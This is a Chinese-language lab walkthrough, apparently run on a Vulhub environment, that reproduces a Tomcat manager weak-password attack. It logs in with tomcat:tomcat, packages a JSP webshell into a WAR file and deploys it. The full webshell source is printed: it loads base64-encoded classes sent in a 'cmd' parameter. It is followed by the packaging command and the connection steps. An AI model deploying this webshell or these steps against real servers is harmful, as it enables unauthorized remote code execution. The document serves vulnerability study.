当前位置: 首页 > news >正文

【漏洞复现】Apache_Tomcat7+ 弱口令 后台getshell漏洞

感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规

文章目录

      • 1.1、漏洞描述
      • 1.2、漏洞等级
      • 1.3、影响版本
      • 1.4、漏洞复现
        • 1、基础环境
        • 2、漏洞扫描
        • 3、漏洞验证

说明内容
漏洞编号
漏洞名称Tomcat7+ 弱口令 && 后台getshell漏洞
漏洞评级高危
影响范围Tomcat 版本:8.0
漏洞描述Tomcat 支持在后台部署 war 文件,可以直接将 webshell 部署到 web 目录下。其中,欲访问后台,需要对应用户有相应权限
tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击
修复方案

1.1、漏洞描述

Tomcat 支持在后台部署 war 文件,可以直接将 webshell 部署到 web 目录下。其中,欲访问后台,需要对应用户有相应权限

Tomcat7+权限分为:

  • manager(后台管理)
    • manager-gui 拥有html页面权限
    • manager-status 拥有查看status的权限
    • manager-script 拥有text接口的权限,和status权限
    • manager-jmx 拥有jmx权限,和status权限
  • host-manager(虚拟主机管理)
    • admin-gui 拥有html页面权限
    • admin-script 拥有text接口权限

这些权限的究竟有什么作用,详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html

conf/tomcat-users.xml文件中配置用户的权限:

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"version="1.0"><role rolename="manager-gui"/><role rolename="manager-script"/><role rolename="manager-jmx"/><role rolename="manager-status"/><role rolename="admin-gui"/><role rolename="admin-script"/><user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" /></tomcat-users>

可见,用户tomcat拥有上述所有权限,密码是tomcat

正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

1.2、漏洞等级

高危

1.3、影响版本

Tomcat 版本:8.0

1.4、漏洞复现

1、基础环境

Path:Vulhub/tomcat/tomcat8


启动测试环境:

sudo docker-compose up -d

访问http://your-ip:8080/即可看到

在这里插入图片描述

点击Manager App即可跳到管理登陆页面

在这里插入图片描述

输入用户名密码 tomcat:tomcat,来到管理界面

在这里插入图片描述

2、漏洞扫描
3、漏洞验证

登录到后台后可以通过部署war包进行getshell

找一个a.jsp木马

<%!class U extends ClassLoader {U(ClassLoader c){super(c);}public Class g(byte[] b){return super.defineClass(b,0,b.length);}}public byte[] base64Decode(String str) throws Exception{try{Class clazz =Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);}catch (Exception e){Class clazz =Class.forName("java.util.Base64");Object decoder =clazz.getMethod("getDecoder").invoke(null);return(byte[])decoder.getClass().getMethod("decode",String.class).invoke(decoder,str);}}
%>
<% String cls =request.getParameter("cmd");if(cls != null){new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);	 }
%>

打包成war

jar cvf tomcat.war a.jsp

在这里插入图片描述

上传打包的tomcat.war

生成一个tomcat的路径

在这里插入图片描述

在地址栏路径中访问http://192.168.80.141:8080/tomcat/a.jsp

在这里插入图片描述

蚁剑连接,密码cmd

在这里插入图片描述

相关文章:

  • AI:52-基于深度学习的垃圾分类
  • Azure 机器学习 - 设置 AutoML 训练时序预测模型
  • AI 引擎系列 4 - 首次运行 AI 引擎编译器和 x86simulator(2022.1 更新)
  • leetCode 322.零钱兑换 完全背包 + 动态规划 + 记忆化搜索 + 递推 + 空间优化 + 画递归树
  • 基于STM32CubeMX和keil采用USART/UART实现非中断以及中断方式数据回环测试借助CH340以及XCOM
  • Docker学习——③
  • 【Redis】的简介和安装配置(Linux和windows)及操作命令
  • Hive 解析 JSON 字符串数据的实现方式
  • Golang源码分析之golang/sync之singleflight
  • 【Java初阶练习题】-- 数组练习题
  • Qt界面美化之Qt Style Sheets
  • Ansible自动化安装部署及使用
  • 单链表基本操作的实现,初始化,头插,尾插,判空,获取个数,查找,删除,获取前置和后置位,清空,销毁
  • 在树莓派上使用Nginx搭建本地站点并通过内网穿透实现远程访问
  • 个人网站迁移
  • 《Javascript高级程序设计 (第三版)》第五章 引用类型
  • Android开源项目规范总结
  • es6(二):字符串的扩展
  • Java多线程(4):使用线程池执行定时任务
  • JAVA之继承和多态
  • jquery ajax学习笔记
  • js正则,这点儿就够用了
  • Python 反序列化安全问题(二)
  • Selenium实战教程系列(二)---元素定位
  • vue总结
  • 阿里云爬虫风险管理产品商业化,为云端流量保驾护航
  • 高性能JavaScript阅读简记(三)
  • 使用 Docker 部署 Spring Boot项目
  • 我是如何设计 Upload 上传组件的
  • 延迟脚本的方式
  • 移动端唤起键盘时取消position:fixed定位
  • ​Distil-Whisper:比Whisper快6倍,体积小50%的语音识别模型
  • (libusb) usb口自动刷新
  • (附源码)小程序儿童艺术培训机构教育管理小程序 毕业设计 201740
  • (六)Hibernate的二级缓存
  • (六)激光线扫描-三维重建
  • (十二)devops持续集成开发——jenkins的全局工具配置之sonar qube环境安装及配置
  • (转)scrum常见工具列表
  • .describe() python_Python-Win32com-Excel
  • .NET 6 在已知拓扑路径的情况下使用 Dijkstra,A*算法搜索最短路径
  • .net 逐行读取大文本文件_如何使用 Java 灵活读取 Excel 内容 ?
  • .NET面试题解析(11)-SQL语言基础及数据库基本原理
  • .NET性能优化(文摘)
  • .net中应用SQL缓存(实例使用)
  • /usr/lib/mysql/plugin权限_给数据库增加密码策略遇到的权限问题
  • @在php中起什么作用?
  • [ vulhub漏洞复现篇 ] Apache Flink目录遍历(CVE-2020-17519)
  • [ 云计算 | AWS ] 对比分析:Amazon SNS 与 SQS 消息服务的异同与选择
  • [23] 4K4D: Real-Time 4D View Synthesis at 4K Resolution
  • [android] 请求码和结果码的作用
  • [autojs]autojs开关按钮的简单使用
  • [codeforces] 25E Test || hash
  • [DL]深度学习_Feature Pyramid Network
  • [IE9] GPU硬件加速到底是实用创新还是噱头
  • [LeetCode] Longest Common Prefix 字符串公有前序